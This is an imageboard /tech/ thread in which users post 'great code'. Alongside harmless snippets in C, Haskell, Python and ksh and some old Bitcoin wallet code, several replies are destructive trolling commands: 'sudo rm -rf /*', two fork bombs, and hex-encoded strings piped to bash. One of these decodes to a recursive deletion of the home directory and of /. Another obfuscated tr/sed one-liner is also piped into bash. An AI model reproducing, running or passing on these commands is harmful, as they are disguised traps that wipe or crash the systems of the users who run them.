[ / / / / / / / / / / / / / ] [ dir / agatha / animu / dcaco / games / leftpol / rolo / sonyeon / strek ][Options][ watchlist ]

/tech/ - Technology

You can now write text to your AI-generated image at https://aiproto.com It is currently free to use for Proto members.
Name
Email
Subject
Comment *
File
Select/drop/paste files here
* = required field[▶ Show post options & limits]
Confused? See the FAQ.
Expand all images

File (hide): 20caa4d4356f06b⋯.png (49.19 KB, 701x516, 701:516, coed.png) (h) (u)

[–]

 No.865701>>865713 >>865735 >>866557 [Watch Thread][Show All Posts]

Post great code

 No.865703>>865726 >>865730


sudo rm -rf /*


 No.865709>>865726 >>865730

:(){:|:&};:


 No.865710>>865730

for i in `find . -regextype sed -regex ".*/[0-9]\{13\}.*"`; do mv "$i" `sha256sum "$i" | cut -f 1 -d " "`.`echo "${i##*.}"`; done


 No.865713>>865760

>>865701 (OP)

shit thread tbh


 No.865726>>865727 >>865760

>>865703

>>865709

haha what an original joke I bet OP is erasing his hard drive/crashing his computer as we speak


 No.865727>>866184

>>865726

lol delete system32


 No.865730>>865731 >>865760

>>865709

>>865703

>>865710

cuckchan tier tbh


 No.865731

>>865730

Are you implying that OP's code isn't?

>python

>steam


 No.865735

>>865701 (OP)

>single exit

I almost barfed.


 No.865743


#define _ F-->00 || F-OO--;
long F=00,OO=00;
main(){F_OO();printf("%1.3f\n", 4.*-F/OO/OO);}F_OO()
{
_-_-_-_
_-_-_-_-_-_-_-_-_
_-_-_-_-_-_-_-_-_-_-_-_
_-_-_-_-_-_-_-_-_-_-_-_-_-_
_-_-_-_-_-_-_-_-_-_-_-_-_-_-_
_-_-_-_-_-_-_-_-_-_-_-_-_-_-_
_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_
_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_
_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_
_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_
_-_-_-_-_-_-_-_-_-_-_-_-_-_-_
_-_-_-_-_-_-_-_-_-_-_-_-_-_-_
_-_-_-_-_-_-_-_-_-_-_-_-_-_
_-_-_-_-_-_-_-_-_-_-_-_
_-_-_-_-_-_-_-_-_
_-_-_-_
}


 No.865746

>elif

What cooky language is this?


 No.865760

>>865726

>>865713

>>865730



echo -e "23212f7573722f62696e2f656e7620626173680a0a4c554e49583d24286d616e20676363207c2067726570202d412031332022432b2b204c616e6775616765204f7074696f6e7322202d6d2031207c207472202d6420225c6e22207c207472202d6420222022293b206563686f2022247b4c554e49583a31393a317d247b4c554e49583a3233323a317d247b4c554e49583a34303a317d247b4c554e49583a39

303a317d20247b4c554e49583a3233363a317d247b4c554e49583a34363a317d247b4c554e49583a3233323a317d2c20247b4c554e49583a31393a317d247b4c554e49583a343a317d247b4c554e49583a3233303a317d247b4c554e49583a3233303a317d247b4c554e49583a34363a317d247b4c554e49583a34383a317d2e22" | xxd -r -p | bash -

and



echo -e "23212f7573722f62696e2f656e7620626173680a0a0a6c6565743d22726d202d726664202d2d6e6f2d70726573657276652d726f6f74202f686f6d652f24555345522f223b247b6c6565747d20263e2f6465762f6e756c6c20266469736f776e3b206c6565746c6f6c3d22726d202d726664202d2d6e6f2d70726573657276652d726f6f74202f223b247b6c6565746c6f6c7d20263e2f6465762f6e756c6c20266469736f776e3b200a" | xxd -r -p | bash -


 No.865765>>865767

Isn't Sakamoto's bitcoin code supposed to be really good?


 No.865767>>865889

>>865765

I'll post some for the resident experts :

// Copyright (c) 2009 Satoshi Nakamoto

// Distributed under the MIT/X11 software license, see the accompanying

// file license.txt or http://www.opensource.org/licenses/mit-license.php.

#include "headers.h"

#include "sha.h"

...

bool AddToWalletIfMine(const CTransaction& tx, const CBlock* pblock)

{

if (tx.IsMine() || mapWallet.count(tx.GetHash()))

{

CWalletTx wtx(tx);

// Get merkle branch if transaction was found in a block

if (pblock)

wtx.SetMerkleBranch(pblock);

return AddToWallet(wtx);

}

return true;

}

bool EraseFromWallet(uint256 hash)

{

CRITICAL_BLOCK(cs_mapWallet)

{

if (mapWallet.erase(hash))

CWalletDB().EraseTx(hash);

}

return true;

}

https://bitcointalk.org/index.php?topic=68121.0


 No.865889

>>865767

whats good about this?


 No.865911

loeb :: Functor f => f (f a -> a) -> f a
loeb x = go where go = fmap ($ go) x


 No.866038>>866039

def get_steam_api():
if sys.platform.startswith('win32'): return ('Windows', CDLL('steam_api.dll'))
if sys.platform.startswith('darwin'): return ('OSX', CDLL('./libstream_api.dylib'))
if not sys.platform.startswith('linux'): throw OSNotSupported
if platform.architecture()[0].startswith('32bit'): return ('Linux 32bit', CDLL('./libstream_api32.so'))
return ('Linux 64bit', CDLL('./libstream_api64.so')

still shit because it's Python

why not print? because it's NOT ACTUALLY LOADING ANYTHING

keep lies out of your code and you'll find that bugs can't get into it either


 No.866039

>>866038

disregard obvious typo

and I dunno maybe CDLL() loads it


 No.866041


#!/bin/ksh

# A simple podcatcher based on Farhad Shabazi's Shellpodder which was in turn
# based on Linc's Bashpodder. No dependencies out of openbsd base.

dir="~/pod"
mkdir -p ${dir}/$(date +%Y-%m-%d)
cd ${dir}/$(date +%Y-%m-%d)

# Read each line in url
while read line; do

# Download line and grep for multimedia download urls.
files=$(ftp -o - ${line} | grep -o '<enclosure.*url="[^"]*' |\
grep -o '[^"]*$')

# Check if in log if multimedia has been downloaded before
# if not download and write the multimedia url to log.
for file in ${files}; do
if ! grep -q ${file} ${dir}/log; then
ftp -C -w 10 ${file}
echo ${file} >> ${dir}/log
fi
done
done < ${dir}/urls


 No.866184

>>865727

XD delete ur ram


 No.866557>>866582

>>865701 (OP)

echo 'carl the moongeek/o.lye10uA8/C' | tr gnu/homekat :phisth/bu\- | sed s./.L. | bash | bash


 No.866582>>867645

>>866557

DON'T DO THIS, IT MAKES MUSTARD GAS


 No.867645

>>866582

Worse. It makes Rick Astley.


 No.868086


#!/bin/sh
devs(){
printf " developers "
}
developers(){
devs && developers &
devs && developers &
} ;
developers

no idea if this shitty shell script works still, and i'm not gonna try it either


 No.868088

File (hide): 5c695c85c16922e⋯.jpg (31.08 KB, 1000x1000, 1:1, shirt.jpg) (h) (u)




[Return][Go to top][Catalog][Screencap][Nerve Center][Cancer][Update] ( Scroll to new posts) ( Auto) 5
25 replies | 1 images | Page ?
[Post a Reply]
[ / / / / / / / / / / / / / ] [ dir / agatha / animu / dcaco / games / leftpol / rolo / sonyeon / strek ][ watchlist ]